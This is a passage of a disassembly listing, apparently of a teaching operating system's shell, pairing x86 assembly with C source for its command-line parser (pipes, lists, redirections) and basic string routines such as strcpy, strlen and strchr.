$0x0,%eax } aef: c9 leave af0: c3 ret 00000af1 <parsecmd>: struct cmd *parseexec(char**, char*); struct cmd *nulterminate(struct cmd*); struct cmd* parsecmd(char *s) { af1: 55 push %ebp af2: 89 e5 mov %esp,%ebp af4: 53 push %ebx af5: 83 ec 14 sub $0x14,%esp char *es; struct cmd *cmd; es = s + strlen(s); af8: 8b 5d 08 mov 0x8(%ebp),%ebx afb: 8b 45 08 mov 0x8(%ebp),%eax afe: 83 ec 0c sub $0xc,%esp b01: 50 push %eax b02: e8 e9 05 00 00 call 10f0 <strlen> b07: 83 c4 10 add $0x10,%esp b0a: 01 d8 add %ebx,%eax b0c: 89 45 f4 mov %eax,-0xc(%ebp) cmd = parseline(&s, es); b0f: 83 ec 08 sub $0x8,%esp b12: ff 75 f4 pushl -0xc(%ebp) b15: 8d 45 08 lea 0x8(%ebp),%eax b18: 50 push %eax b19: e8 61 00 00 00 call b7f <parseline> b1e: 83 c4 10 add $0x10,%esp b21: 89 45 f0 mov %eax,-0x10(%ebp) peek(&s, es, ""); b24: 83 ec 04 sub $0x4,%esp b27: 68 87 19 00 00 push $0x1987 b2c: ff 75 f4 pushl -0xc(%ebp) b2f: 8d 45 08 lea 0x8(%ebp),%eax b32: 50 push %eax b33: e8 43 ff ff ff call a7b <peek> b38: 83 c4 10 add $0x10,%esp if(s != es){ b3b: 8b 45 08 mov 0x8(%ebp),%eax b3e: 3b 45 f4 cmp -0xc(%ebp),%eax b41: 74 26 je b69 <parsecmd+0x78> printf(2, "leftovers: %s\n", s); b43: 8b 45 08 mov 0x8(%ebp),%eax b46: 83 ec 04 sub $0x4,%esp b49: 50 push %eax b4a: 68 88 19 00 00 push $0x1988 b4f: 6a 02 push $0x2 b51: e8 c1 09 00 00 call 1517 <printf> b56: 83 c4 10 add $0x10,%esp panic("syntax"); b59: 83 ec 0c sub $0xc,%esp b5c: 68 97 19 00 00 push $0x1997 b61: e8 13 fc ff ff call 779 <panic> b66: 83 c4 10 add $0x10,%esp } nulterminate(cmd); b69: 83 ec 0c sub $0xc,%esp b6c: ff 75 f0 pushl -0x10(%ebp) b6f: e8 eb 03 00 00 call f5f <nulterminate> b74: 83 c4 10 add $0x10,%esp return cmd; b77: 8b 45 f0 mov -0x10(%ebp),%eax } b7a: 8b 5d fc mov -0x4(%ebp),%ebx b7d: c9 leave b7e: c3 ret 00000b7f <parseline>: struct cmd* parseline(char **ps, char *es) { b7f: 55 push %ebp b80: 89 e5 mov %esp,%ebp b82: 83 ec 18 sub $0x18,%esp struct cmd *cmd; cmd = parsepipe(ps, es); b85: 83 ec 08 sub $0x8,%esp b88: ff 75 0c pushl 0xc(%ebp) b8b: ff 75 08 pushl 0x8(%ebp) b8e: e8 99 00 00 00 call c2c <parsepipe> b93: 83 c4 10 add $0x10,%esp b96: 89 45 f4 mov %eax,-0xc(%ebp) while(peek(ps, es, "&")){ b99: eb 23 jmp bbe <parseline+0x3f> gettoken(ps, es, 0, 0); b9b: 6a 00 push $0x0 b9d: 6a 00 push $0x0 b9f: ff 75 0c pushl 0xc(%ebp) ba2: ff 75 08 pushl 0x8(%ebp) ba5: e8 80 fd ff ff call 92a <gettoken> baa: 83 c4 10 add $0x10,%esp cmd = backcmd(cmd); bad: 83 ec 0c sub $0xc,%esp bb0: ff 75 f4 pushl -0xc(%ebp) bb3: e8 33 fd ff ff call 8eb <backcmd> bb8: 83 c4 10 add $0x10,%esp bbb: 89 45 f4 mov %eax,-0xc(%ebp) parseline(char **ps, char *es) { struct cmd *cmd; cmd = parsepipe(ps, es); while(peek(ps, es, "&")){ bbe: 83 ec 04 sub $0x4,%esp bc1: 68 9e 19 00 00 push $0x199e bc6: ff 75 0c pushl 0xc(%ebp) bc9: ff 75 08 pushl 0x8(%ebp) bcc: e8 aa fe ff ff call a7b <peek> bd1: 83 c4 10 add $0x10,%esp bd4: 85 c0 test %eax,%eax bd6: 75 c3 jne b9b <parseline+0x1c> gettoken(ps, es, 0, 0); cmd = backcmd(cmd); } if(peek(ps, es, ";")){ bd8: 83 ec 04 sub $0x4,%esp bdb: 68 a0 19 00 00 push $0x19a0 be0: ff 75 0c pushl 0xc(%ebp) be3: ff 75 08 pushl 0x8(%ebp) be6: e8 90 fe ff ff call a7b <peek> beb: 83 c4 10 add $0x10,%esp bee: 85 c0 test %eax,%eax bf0: 74 35 je c27 <parseline+0xa8> gettoken(ps, es, 0, 0); bf2: 6a 00 push $0x0 bf4: 6a 00 push $0x0 bf6: ff 75 0c pushl 0xc(%ebp) bf9: ff 75 08 pushl 0x8(%ebp) bfc: e8 29 fd ff ff call 92a <gettoken> c01: 83 c4 10 add $0x10,%esp cmd = listcmd(cmd, parseline(ps, es)); c04: 83 ec 08 sub $0x8,%esp c07: ff 75 0c pushl 0xc(%ebp) c0a: ff 75 08 pushl 0x8(%ebp) c0d: e8 6d ff ff ff call b7f <parseline> c12: 83 c4 10 add $0x10,%esp c15: 83 ec 08 sub $0x8,%esp c18: 50 push %eax c19: ff 75 f4 pushl -0xc(%ebp) c1c: e8 82 fc ff ff call 8a3 <listcmd> c21: 83 c4 10 add $0x10,%esp c24: 89 45 f4 mov %eax,-0xc(%ebp) } return cmd; c27: 8b 45 f4 mov -0xc(%ebp),%eax } c2a: c9 leave c2b: c3 ret 00000c2c <parsepipe>: struct cmd* parsepipe(char **ps, char *es) { c2c: 55 push %ebp c2d: 89 e5 mov %esp,%ebp c2f: 83 ec 18 sub $0x18,%esp struct cmd *cmd; cmd = parseexec(ps, es); c32: 83 ec 08 sub $0x8,%esp c35: ff 75 0c pushl 0xc(%ebp) c38: ff 75 08 pushl 0x8(%ebp) c3b: e8 ec 01 00 00 call e2c <parseexec> c40: 83 c4 10 add $0x10,%esp c43: 89 45 f4 mov %eax,-0xc(%ebp) if(peek(ps, es, "|")){ c46: 83 ec 04 sub $0x4,%esp c49: 68 a2 19 00 00 push $0x19a2 c4e: ff 75 0c pushl 0xc(%ebp) c51: ff 75 08 pushl 0x8(%ebp) c54: e8 22 fe ff ff call a7b <peek> c59: 83 c4 10 add $0x10,%esp c5c: 85 c0 test %eax,%eax c5e: 74 35 je c95 <parsepipe+0x69> gettoken(ps, es, 0, 0); c60: 6a 00 push $0x0 c62: 6a 00 push $0x0 c64: ff 75 0c pushl 0xc(%ebp) c67: ff 75 08 pushl 0x8(%ebp) c6a: e8 bb fc ff ff call 92a <gettoken> c6f: 83 c4 10 add $0x10,%esp cmd = pipecmd(cmd, parsepipe(ps, es)); c72: 83 ec 08 sub $0x8,%esp c75: ff 75 0c pushl 0xc(%ebp) c78: ff 75 08 pushl 0x8(%ebp) c7b: e8 ac ff ff ff call c2c <parsepipe> c80: 83 c4 10 add $0x10,%esp c83: 83 ec 08 sub $0x8,%esp c86: 50 push %eax c87: ff 75 f4 pushl -0xc(%ebp) c8a: e8 cc fb ff ff call 85b <pipecmd> c8f: 83 c4 10 add $0x10,%esp c92: 89 45 f4 mov %eax,-0xc(%ebp) } return cmd; c95: 8b 45 f4 mov -0xc(%ebp),%eax } c98: c9 leave c99: c3 ret 00000c9a <parseredirs>: struct cmd* parseredirs(struct cmd *cmd, char **ps, char *es) { c9a: 55 push %ebp c9b: 89 e5 mov %esp,%ebp c9d: 83 ec 18 sub $0x18,%esp int tok; char *q, *eq; while(peek(ps, es, "<>")){ ca0: e9 b6 00 00 00 jmp d5b <parseredirs+0xc1> tok = gettoken(ps, es, 0, 0); ca5: 6a 00 push $0x0 ca7: 6a 00 push $0x0 ca9: ff 75 10 pushl 0x10(%ebp) cac: ff 75 0c pushl 0xc(%ebp) caf: e8 76 fc ff ff call 92a <gettoken> cb4: 83 c4 10 add $0x10,%esp cb7: 89 45 f4 mov %eax,-0xc(%ebp) if(gettoken(ps, es, &q, &eq) != 'a') cba: 8d 45 ec lea -0x14(%ebp),%eax cbd: 50 push %eax cbe: 8d 45 f0 lea -0x10(%ebp),%eax cc1: 50 push %eax cc2: ff 75 10 pushl 0x10(%ebp) cc5: ff 75 0c pushl 0xc(%ebp) cc8: e8 5d fc ff ff call 92a <gettoken> ccd: 83 c4 10 add $0x10,%esp cd0: 83 f8 61 cmp $0x61,%eax cd3: 74 10 je ce5 <parseredirs+0x4b> panic("missing file for redirection"); cd5: 83 ec 0c sub $0xc,%esp cd8: 68 a4 19 00 00 push $0x19a4 cdd: e8 97 fa ff ff call 779 <panic> ce2: 83 c4 10 add $0x10,%esp switch(tok){ ce5: 8b 45 f4 mov -0xc(%ebp),%eax ce8: 83 f8 3c cmp $0x3c,%eax ceb: 74 0c je cf9 <parseredirs+0x5f> ced: 83 f8 3e cmp $0x3e,%eax cf0: 74 26 je d18 <parseredirs+0x7e> cf2: 83 f8 2b cmp $0x2b,%eax cf5: 74 43 je d3a <parseredirs+0xa0> cf7: eb 62 jmp d5b <parseredirs+0xc1> case '<': cmd = redircmd(cmd, q, eq, O_RDONLY, 0); cf9: 8b 55 ec mov -0x14(%ebp),%edx cfc: 8b 45 f0 mov -0x10(%ebp),%eax cff: 83 ec 0c sub $0xc,%esp d02: 6a 00 push $0x0 d04: 6a 00 push $0x0 d06: 52 push %edx d07: 50 push %eax d08: ff 75 08 pushl 0x8(%ebp) d0b: e8 e8 fa ff ff call 7f8 <redircmd> d10: 83 c4 20 add $0x20,%esp d13: 89 45 08 mov %eax,0x8(%ebp) break; d16: eb 43 jmp d5b <parseredirs+0xc1> case '>': cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); d18: 8b 55 ec mov -0x14(%ebp),%edx d1b: 8b 45 f0 mov -0x10(%ebp),%eax d1e: 83 ec 0c sub $0xc,%esp d21: 6a 01 push $0x1 d23: 68 01 02 00 00 push $0x201 d28: 52 push %edx d29: 50 push %eax d2a: ff 75 08 pushl 0x8(%ebp) d2d: e8 c6 fa ff ff call 7f8 <redircmd> d32: 83 c4 20 add $0x20,%esp d35: 89 45 08 mov %eax,0x8(%ebp) break; d38: eb 21 jmp d5b <parseredirs+0xc1> case '+': // >> cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); d3a: 8b 55 ec mov -0x14(%ebp),%edx d3d: 8b 45 f0 mov -0x10(%ebp),%eax d40: 83 ec 0c sub $0xc,%esp d43: 6a 01 push $0x1 d45: 68 01 02 00 00 push $0x201 d4a: 52 push %edx d4b: 50 push %eax d4c: ff 75 08 pushl 0x8(%ebp) d4f: e8 a4 fa ff ff call 7f8 <redircmd> d54: 83 c4 20 add $0x20,%esp d57: 89 45 08 mov %eax,0x8(%ebp) break; d5a: 90 nop parseredirs(struct cmd *cmd, char **ps, char *es) { int tok; char *q, *eq; while(peek(ps, es, "<>")){ d5b: 83 ec 04 sub $0x4,%esp d5e: 68 c1 19 00 00 push $0x19c1 d63: ff 75 10 pushl 0x10(%ebp) d66: ff 75 0c pushl 0xc(%ebp) d69: e8 0d fd ff ff call a7b <peek> d6e: 83 c4 10 add $0x10,%esp d71: 85 c0 test %eax,%eax d73: 0f 85 2c ff ff ff jne ca5 <parseredirs+0xb> case '+': // >> cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); break; } } return cmd; d79: 8b 45 08 mov 0x8(%ebp),%eax } d7c: c9 leave d7d: c3 ret 00000d7e <parseblock>: struct cmd* parseblock(char **ps, char *es) { d7e: 55 push %ebp d7f: 89 e5 mov %esp,%ebp d81: 83 ec 18 sub $0x18,%esp struct cmd *cmd; if(!peek(ps, es, "(")) d84: 83 ec 04 sub $0x4,%esp d87: 68 c4 19 00 00 push $0x19c4 d8c: ff 75 0c pushl 0xc(%ebp) d8f: ff 75 08 pushl 0x8(%ebp) d92: e8 e4 fc ff ff call a7b <peek> d97: 83 c4 10 add $0x10,%esp d9a: 85 c0 test %eax,%eax d9c: 75 10 jne dae <parseblock+0x30> panic("parseblock"); d9e: 83 ec 0c sub $0xc,%esp da1: 68 c6 19 00 00 push $0x19c6 da6: e8 ce f9 ff ff call 779 <panic> dab: 83 c4 10 add $0x10,%esp gettoken(ps, es, 0, 0); dae: 6a 00 push $0x0 db0: 6a 00 push $0x0 db2: ff 75 0c pushl 0xc(%ebp) db5: ff 75 08 pushl 0x8(%ebp) db8: e8 6d fb ff ff call 92a <gettoken> dbd: 83 c4 10 add $0x10,%esp cmd = parseline(ps, es); dc0: 83 ec 08 sub $0x8,%esp dc3: ff 75 0c pushl 0xc(%ebp) dc6: ff 75 08 pushl 0x8(%ebp) dc9: e8 b1 fd ff ff call b7f <parseline> dce: 83 c4 10 add $0x10,%esp dd1: 89 45 f4 mov %eax,-0xc(%ebp) if(!peek(ps, es, ")")) dd4: 83 ec 04 sub $0x4,%esp dd7: 68 d1 19 00 00 push $0x19d1 ddc: ff 75 0c pushl 0xc(%ebp) ddf: ff 75 08 pushl 0x8(%ebp) de2: e8 94 fc ff ff call a7b <peek> de7: 83 c4 10 add $0x10,%esp dea: 85 c0 test %eax,%eax dec: 75 10 jne dfe <parseblock+0x80> panic("syntax - missing )"); dee: 83 ec 0c sub $0xc,%esp df1: 68 d3 19 00 00 push $0x19d3 df6: e8 7e f9 ff ff call 779 <panic> dfb: 83 c4 10 add $0x10,%esp gettoken(ps, es, 0, 0); dfe: 6a 00 push $0x0 e00: 6a 00 push $0x0 e02: ff 75 0c pushl 0xc(%ebp) e05: ff 75 08 pushl 0x8(%ebp) e08: e8 1d fb ff ff call 92a <gettoken> e0d: 83 c4 10 add $0x10,%esp cmd = parseredirs(cmd, ps, es); e10: 83 ec 04 sub $0x4,%esp e13: ff 75 0c pushl 0xc(%ebp) e16: ff 75 08 pushl 0x8(%ebp) e19: ff 75 f4 pushl -0xc(%ebp) e1c: e8 79 fe ff ff call c9a <parseredirs> e21: 83 c4 10 add $0x10,%esp e24: 89 45 f4 mov %eax,-0xc(%ebp) return cmd; e27: 8b 45 f4 mov -0xc(%ebp),%eax } e2a: c9 leave e2b: c3 ret 00000e2c <parseexec>: struct cmd* parseexec(char **ps, char *es) { e2c: 55 push %ebp e2d: 89 e5 mov %esp,%ebp e2f: 83 ec 28 sub $0x28,%esp char *q, *eq; int tok, argc; struct execcmd *cmd; struct cmd *ret; if(peek(ps, es, "(")) e32: 83 ec 04 sub $0x4,%esp e35: 68 c4 19 00 00 push $0x19c4 e3a: ff 75 0c pushl 0xc(%ebp) e3d: ff 75 08 pushl 0x8(%ebp) e40: e8 36 fc ff ff call a7b <peek> e45: 83 c4 10 add $0x10,%esp e48: 85 c0 test %eax,%eax e4a: 74 16 je e62 <parseexec+0x36> return parseblock(ps, es); e4c: 83 ec 08 sub $0x8,%esp e4f: ff 75 0c pushl 0xc(%ebp) e52: ff 75 08 pushl 0x8(%ebp) e55: e8 24 ff ff ff call d7e <parseblock> e5a: 83 c4 10 add $0x10,%esp e5d: e9 fb 00 00 00 jmp f5d <parseexec+0x131> ret = execcmd(); e62: e8 5b f9 ff ff call 7c2 <execcmd> e67: 89 45 f0 mov %eax,-0x10(%ebp) cmd = (struct execcmd*)ret; e6a: 8b 45 f0 mov -0x10(%ebp),%eax e6d: 89 45 ec mov %eax,-0x14(%ebp) argc = 0; e70: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) ret = parseredirs(ret, ps, es); e77: 83 ec 04 sub $0x4,%esp e7a: ff 75 0c pushl 0xc(%ebp) e7d: ff 75 08 pushl 0x8(%ebp) e80: ff 75 f0 pushl -0x10(%ebp) e83: e8 12 fe ff ff call c9a <parseredirs> e88: 83 c4 10 add $0x10,%esp e8b: 89 45 f0 mov %eax,-0x10(%ebp) while(!peek(ps, es, "|)&;")){ e8e: e9 87 00 00 00 jmp f1a <parseexec+0xee> if((tok=gettoken(ps, es, &q, &eq)) == 0) e93: 8d 45 e0 lea -0x20(%ebp),%eax e96: 50 push %eax e97: 8d 45 e4 lea -0x1c(%ebp),%eax e9a: 50 push %eax e9b: ff 75 0c pushl 0xc(%ebp) e9e: ff 75 08 pushl 0x8(%ebp) ea1: e8 84 fa ff ff call 92a <gettoken> ea6: 83 c4 10 add $0x10,%esp ea9: 89 45 e8 mov %eax,-0x18(%ebp) eac: 83 7d e8 00 cmpl $0x0,-0x18(%ebp) eb0: 0f 84 84 00 00 00 je f3a <parseexec+0x10e> break; if(tok != 'a') eb6: 83 7d e8 61 cmpl $0x61,-0x18(%ebp) eba: 74 10 je ecc <parseexec+0xa0> panic("syntax"); ebc: 83 ec 0c sub $0xc,%esp ebf: 68 97 19 00 00 push $0x1997 ec4: e8 b0 f8 ff ff call 779 <panic> ec9: 83 c4 10 add $0x10,%esp cmd->argv[argc] = q; ecc: 8b 4d e4 mov -0x1c(%ebp),%ecx ecf: 8b 45 ec mov -0x14(%ebp),%eax ed2: 8b 55 f4 mov -0xc(%ebp),%edx ed5: 89 4c 90 04 mov %ecx,0x4(%eax,%edx,4) cmd->eargv[argc] = eq; ed9: 8b 55 e0 mov -0x20(%ebp),%edx edc: 8b 45 ec mov -0x14(%ebp),%eax edf: 8b 4d f4 mov -0xc(%ebp),%ecx ee2: 83 c1 08 add $0x8,%ecx ee5: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4) argc++; ee9: 83 45 f4 01 addl $0x1,-0xc(%ebp) if(argc >= MAXARGS) eed: 83 7d f4 09 cmpl $0x9,-0xc(%ebp) ef1: 7e 10 jle f03 <parseexec+0xd7> panic("too many args"); ef3: 83 ec 0c sub $0xc,%esp ef6: 68 e6 19 00 00 push $0x19e6 efb: e8 79 f8 ff ff call 779 <panic> f00: 83 c4 10 add $0x10,%esp ret = parseredirs(ret, ps, es); f03: 83 ec 04 sub $0x4,%esp f06: ff 75 0c pushl 0xc(%ebp) f09: ff 75 08 pushl 0x8(%ebp) f0c: ff 75 f0 pushl -0x10(%ebp) f0f: e8 86 fd ff ff call c9a <parseredirs> f14: 83 c4 10 add $0x10,%esp f17: 89 45 f0 mov %eax,-0x10(%ebp) ret = execcmd(); cmd = (struct execcmd*)ret; argc = 0; ret = parseredirs(ret, ps, es); while(!peek(ps, es, "|)&;")){ f1a: 83 ec 04 sub $0x4,%esp f1d: 68 f4 19 00 00 push $0x19f4 f22: ff 75 0c pushl 0xc(%ebp) f25: ff 75 08 pushl 0x8(%ebp) f28: e8 4e fb ff ff call a7b <peek> f2d: 83 c4 10 add $0x10,%esp f30: 85 c0 test %eax,%eax f32: 0f 84 5b ff ff ff je e93 <parseexec+0x67> f38: eb 01 jmp f3b <parseexec+0x10f> if((tok=gettoken(ps, es, &q, &eq)) == 0) break; f3a: 90 nop argc++; if(argc >= MAXARGS) panic("too many args"); ret = parseredirs(ret, ps, es); } cmd->argv[argc] = 0; f3b: 8b 45 ec mov -0x14(%ebp),%eax f3e: 8b 55 f4 mov -0xc(%ebp),%edx f41: c7 44 90 04 00 00 00 movl $0x0,0x4(%eax,%edx,4) f48: 00 cmd->eargv[argc] = 0; f49: 8b 45 ec mov -0x14(%ebp),%eax f4c: 8b 55 f4 mov -0xc(%ebp),%edx f4f: 83 c2 08 add $0x8,%edx f52: c7 44 90 0c 00 00 00 movl $0x0,0xc(%eax,%edx,4) f59: 00 return ret; f5a: 8b 45 f0 mov -0x10(%ebp),%eax } f5d: c9 leave f5e: c3 ret 00000f5f <nulterminate>: // NUL-terminate all the counted strings. struct cmd* nulterminate(struct cmd *cmd) { f5f: 55 push %ebp f60: 89 e5 mov %esp,%ebp f62: 83 ec 28 sub $0x28,%esp struct execcmd *ecmd; struct listcmd *lcmd; struct pipecmd *pcmd; struct redircmd *rcmd; if(cmd == 0) f65: 83 7d 08 00 cmpl $0x0,0x8(%ebp) f69: 75 0a jne f75 <nulterminate+0x16> return 0; f6b: b8 00 00 00 00 mov $0x0,%eax f70: e9 e4 00 00 00 jmp 1059 <nulterminate+0xfa> switch(cmd->type){ f75: 8b 45 08 mov 0x8(%ebp),%eax f78: 8b 00 mov (%eax),%eax f7a: 83 f8 05 cmp $0x5,%eax f7d: 0f 87 d3 00 00 00 ja 1056 <nulterminate+0xf7> f83: 8b 04 85 fc 19 00 00 mov 0x19fc(,%eax,4),%eax f8a: ff e0 jmp *%eax case EXEC: ecmd = (struct execcmd*)cmd; f8c: 8b 45 08 mov 0x8(%ebp),%eax f8f: 89 45 f0 mov %eax,-0x10(%ebp) for(i=0; ecmd->argv[i]; i++) f92: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) f99: eb 14 jmp faf <nulterminate+0x50> *ecmd->eargv[i] = 0; f9b: 8b 45 f0 mov -0x10(%ebp),%eax f9e: 8b 55 f4 mov -0xc(%ebp),%edx fa1: 83 c2 08 add $0x8,%edx fa4: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax fa8: c6 00 00 movb $0x0,(%eax) return 0; switch(cmd->type){ case EXEC: ecmd = (struct execcmd*)cmd; for(i=0; ecmd->argv[i]; i++) fab: 83 45 f4 01 addl $0x1,-0xc(%ebp) faf: 8b 45 f0 mov -0x10(%ebp),%eax fb2: 8b 55 f4 mov -0xc(%ebp),%edx fb5: 8b 44 90 04 mov 0x4(%eax,%edx,4),%eax fb9: 85 c0 test %eax,%eax fbb: 75 de jne f9b <nulterminate+0x3c> *ecmd->eargv[i] = 0; break; fbd: e9 94 00 00 00 jmp 1056 <nulterminate+0xf7> case REDIR: rcmd = (struct redircmd*)cmd; fc2: 8b 45 08 mov 0x8(%ebp),%eax fc5: 89 45 ec mov %eax,-0x14(%ebp) nulterminate(rcmd->cmd); fc8: 8b 45 ec mov -0x14(%ebp),%eax fcb: 8b 40 04 mov 0x4(%eax),%eax fce: 83 ec 0c sub $0xc,%esp fd1: 50 push %eax fd2: e8 88 ff ff ff call f5f <nulterminate> fd7: 83 c4 10 add $0x10,%esp *rcmd->efile = 0; fda: 8b 45 ec mov -0x14(%ebp),%eax fdd: 8b 40 0c mov 0xc(%eax),%eax fe0: c6 00 00 movb $0x0,(%eax) break; fe3: eb 71 jmp 1056 <nulterminate+0xf7> case PIPE: pcmd = (struct pipecmd*)cmd; fe5: 8b 45 08 mov 0x8(%ebp),%eax fe8: 89 45 e8 mov %eax,-0x18(%ebp) nulterminate(pcmd->left); feb: 8b 45 e8 mov -0x18(%ebp),%eax fee: 8b 40 04 mov 0x4(%eax),%eax ff1: 83 ec 0c sub $0xc,%esp ff4: 50 push %eax ff5: e8 65 ff ff ff call f5f <nulterminate> ffa: 83 c4 10 add $0x10,%esp nulterminate(pcmd->right); ffd: 8b 45 e8 mov -0x18(%ebp),%eax 1000: 8b 40 08 mov 0x8(%eax),%eax 1003: 83 ec 0c sub $0xc,%esp 1006: 50 push %eax 1007: e8 53 ff ff ff call f5f <nulterminate> 100c: 83 c4 10 add $0x10,%esp break; 100f: eb 45 jmp 1056 <nulterminate+0xf7> case LIST: lcmd = (struct listcmd*)cmd; 1011: 8b 45 08 mov 0x8(%ebp),%eax 1014: 89 45 e4 mov %eax,-0x1c(%ebp) nulterminate(lcmd->left); 1017: 8b 45 e4 mov -0x1c(%ebp),%eax 101a: 8b 40 04 mov 0x4(%eax),%eax 101d: 83 ec 0c sub $0xc,%esp 1020: 50 push %eax 1021: e8 39 ff ff ff call f5f <nulterminate> 1026: 83 c4 10 add $0x10,%esp nulterminate(lcmd->right); 1029: 8b 45 e4 mov -0x1c(%ebp),%eax 102c: 8b 40 08 mov 0x8(%eax),%eax 102f: 83 ec 0c sub $0xc,%esp 1032: 50 push %eax 1033: e8 27 ff ff ff call f5f <nulterminate> 1038: 83 c4 10 add $0x10,%esp break; 103b: eb 19 jmp 1056 <nulterminate+0xf7> case BACK: bcmd = (struct backcmd*)cmd; 103d: 8b 45 08 mov 0x8(%ebp),%eax 1040: 89 45 e0 mov %eax,-0x20(%ebp) nulterminate(bcmd->cmd); 1043: 8b 45 e0 mov -0x20(%ebp),%eax 1046: 8b 40 04 mov 0x4(%eax),%eax 1049: 83 ec 0c sub $0xc,%esp 104c: 50 push %eax 104d: e8 0d ff ff ff call f5f <nulterminate> 1052: 83 c4 10 add $0x10,%esp break; 1055: 90 nop } return cmd; 1056: 8b 45 08 mov 0x8(%ebp),%eax } 1059: c9 leave 105a: c3 ret 0000105b <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 105b: 55 push %ebp 105c: 89 e5 mov %esp,%ebp 105e: 57 push %edi 105f: 53 push %ebx asm volatile("cld; rep stosb" : 1060: 8b 4d 08 mov 0x8(%ebp),%ecx 1063: 8b 55 10 mov 0x10(%ebp),%edx 1066: 8b 45 0c mov 0xc(%ebp),%eax 1069: 89 cb mov %ecx,%ebx 106b: 89 df mov %ebx,%edi 106d: 89 d1 mov %edx,%ecx 106f: fc cld 1070: f3 aa rep stos %al,%es:(%edi) 1072: 89 ca mov %ecx,%edx 1074: 89 fb mov %edi,%ebx 1076: 89 5d 08 mov %ebx,0x8(%ebp) 1079: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 107c: 90 nop 107d: 5b pop %ebx 107e: 5f pop %edi 107f: 5d pop %ebp 1080: c3 ret 00001081 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 1081: 55 push %ebp 1082: 89 e5 mov %esp,%ebp 1084: 83 ec 10 sub $0x10,%esp char *os; os = s; 1087: 8b 45 08 mov 0x8(%ebp),%eax 108a: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 108d: 90 nop 108e: 8b 45 08 mov 0x8(%ebp),%eax 1091: 8d 50 01 lea 0x1(%eax),%edx 1094: 89 55 08 mov %edx,0x8(%ebp) 1097: 8b 55 0c mov 0xc(%ebp),%edx 109a: 8d 4a 01 lea 0x1(%edx),%ecx 109d: 89 4d 0c mov %ecx,0xc(%ebp) 10a0: 0f b6 12 movzbl (%edx),%edx 10a3: 88 10 mov %dl,(%eax) 10a5: 0f b6 00 movzbl (%eax),%eax 10a8: 84 c0 test %al,%al 10aa: 75 e2 jne 108e <strcpy+0xd> ; return os; 10ac: 8b 45 fc mov -0x4(%ebp),%eax } 10af: c9 leave 10b0: c3 ret 000010b1 <strcmp>: int strcmp(const char *p, const char *q) { 10b1: 55 push %ebp 10b2: 89 e5 mov %esp,%ebp while(*p && *p == *q) 10b4: eb 08 jmp 10be <strcmp+0xd> p++, q++; 10b6: 83 45 08 01 addl $0x1,0x8(%ebp) 10ba: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 10be: 8b 45 08 mov 0x8(%ebp),%eax 10c1: 0f b6 00 movzbl (%eax),%eax 10c4: 84 c0 test %al,%al 10c6: 74 10 je 10d8 <strcmp+0x27> 10c8: 8b 45 08 mov 0x8(%ebp),%eax 10cb: 0f b6 10 movzbl (%eax),%edx 10ce: 8b 45 0c mov 0xc(%ebp),%eax 10d1: 0f b6 00 movzbl (%eax),%eax 10d4: 38 c2 cmp %al,%dl 10d6: 74 de je 10b6 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 10d8: 8b 45 08 mov 0x8(%ebp),%eax 10db: 0f b6 00 movzbl (%eax),%eax 10de: 0f b6 d0 movzbl %al,%edx 10e1: 8b 45 0c mov 0xc(%ebp),%eax 10e4: 0f b6 00 movzbl (%eax),%eax 10e7: 0f b6 c0 movzbl %al,%eax 10ea: 29 c2 sub %eax,%edx 10ec: 89 d0 mov %edx,%eax } 10ee: 5d pop %ebp 10ef: c3 ret 000010f0 <strlen>: uint strlen(char *s) { 10f0: 55 push %ebp 10f1: 89 e5 mov %esp,%ebp 10f3: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 10f6: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 10fd: eb 04 jmp 1103 <strlen+0x13> 10ff: 83 45 fc 01 addl $0x1,-0x4(%ebp) 1103: 8b 55 fc mov -0x4(%ebp),%edx 1106: 8b 45 08 mov 0x8(%ebp),%eax 1109: 01 d0 add %edx,%eax 110b: 0f b6 00 movzbl (%eax),%eax 110e: 84 c0 test %al,%al 1110: 75 ed jne 10ff <strlen+0xf> ; return n; 1112: 8b 45 fc mov -0x4(%ebp),%eax } 1115: c9 leave 1116: c3 ret 00001117 <memset>: void* memset(void *dst, int c, uint n) { 1117: 55 push %ebp 1118: 89 e5 mov %esp,%ebp stosb(dst, c, n); 111a: 8b 45 10 mov 0x10(%ebp),%eax 111d: 50 push %eax 111e: ff 75 0c pushl 0xc(%ebp) 1121: ff 75 08 pushl 0x8(%ebp) 1124: e8 32 ff ff ff call 105b <stosb> 1129: 83 c4 0c add $0xc,%esp return dst; 112c: 8b 45 08 mov 0x8(%ebp),%eax } 112f: c9 leave 1130: c3 ret 00001131 <strchr>: char* strchr(const char *s, char c) { 1131: 55 push %ebp 1132: 89 e5 mov %esp,%ebp 1134: 83 ec 04 sub $0x4,%esp 1137: 8b 45 0c mov 0xc(%ebp),%eax 113a: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 113d: eb 14 jmp 1153 <strchr+0x22> if(*s == c) 113f: 8b 45 08 mov 0x8(%ebp),%eax 1142: 0f b6 00 movzbl (%eax),%eax 1145: 3a 45 fc cmp -0x4(%ebp),%al 1148: 75 05 jne 114f <strchr+0x1e> return (char*)s; 114a: 8b 45 08 mov 0x8(%ebp),%eax 114d: eb 13 jmp 1162 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 114f: 83 45 08 01 addl $0x1,0x8(%ebp) 1153: 8b 45 08 mov 0x8(%ebp),%eax 1156: 0f b6 00 movzbl (%eax),%eax 1159: 84 c0 test %al,%al 115b: 75 e2 jne 113f <strchr+0xe> if(*s == c) return (char*)s; return 0; 115d: b8 00 00 00 00 mov $0x0,%eax } 1162: c9 leave 1163: c3 ret 00001164 <gets>: char* gets(char 